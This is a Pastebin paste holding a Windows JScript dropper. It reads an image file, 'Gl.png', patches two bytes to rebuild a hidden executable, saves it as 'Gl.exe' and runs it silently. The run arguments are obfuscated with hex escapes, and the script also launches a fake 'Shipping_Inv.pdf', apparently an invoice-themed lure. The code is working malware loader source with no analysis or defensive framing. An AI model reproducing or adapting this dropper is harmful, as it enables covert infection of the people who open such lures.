Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var wsws = WScript.CreateObject("WScript.Shell");
- var file="Gl.png";
- var inp=new ActiveXObject("ADODB.Stream");
- inp.Type=1;
- inp.Open();
- inp.LoadFromFile(file);
- var out=new ActiveXObject("ADODB.Stream");
- out.Type=1;
- out.Open();
- var position=0x450;
- inp.CopyTo(out,position*1);
- inp.Read(1);
- out.Write(mb2b(eval("'"+"\x83"+"'")));
- var position=0x33800-position;
- inp.CopyTo(out,(position*1)-1);
- inp.Read(1);
- out.Write(mb2b(eval("'"+"\x52"+"'")));
- inp.CopyTo(out);
- out.SaveToFile("Gl.exe",2);
- function mb2b(byte){
- with(new ActiveXObject("ADODB.Recordset")){
- Fields.Append("x",205,1);
- Open();
- AddNew();
- Fields(0).AppendChunk(byte);
- return Fields(0).GetChunk(1);
- }
- }
- var _0x9848=["\x47\x6C\x2E\x65\x78\x65\x20\x2D\x70\x47\x6C\x75\x65\x31\x20\x2D\x64\x25\x74\x65\x6D\x70\x25"];wsws.Run(_0x9848[0],0);
- wsws.Run("cmd.exe /c %temp%\\Shipping_Inv.pdf -d%temp%",0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement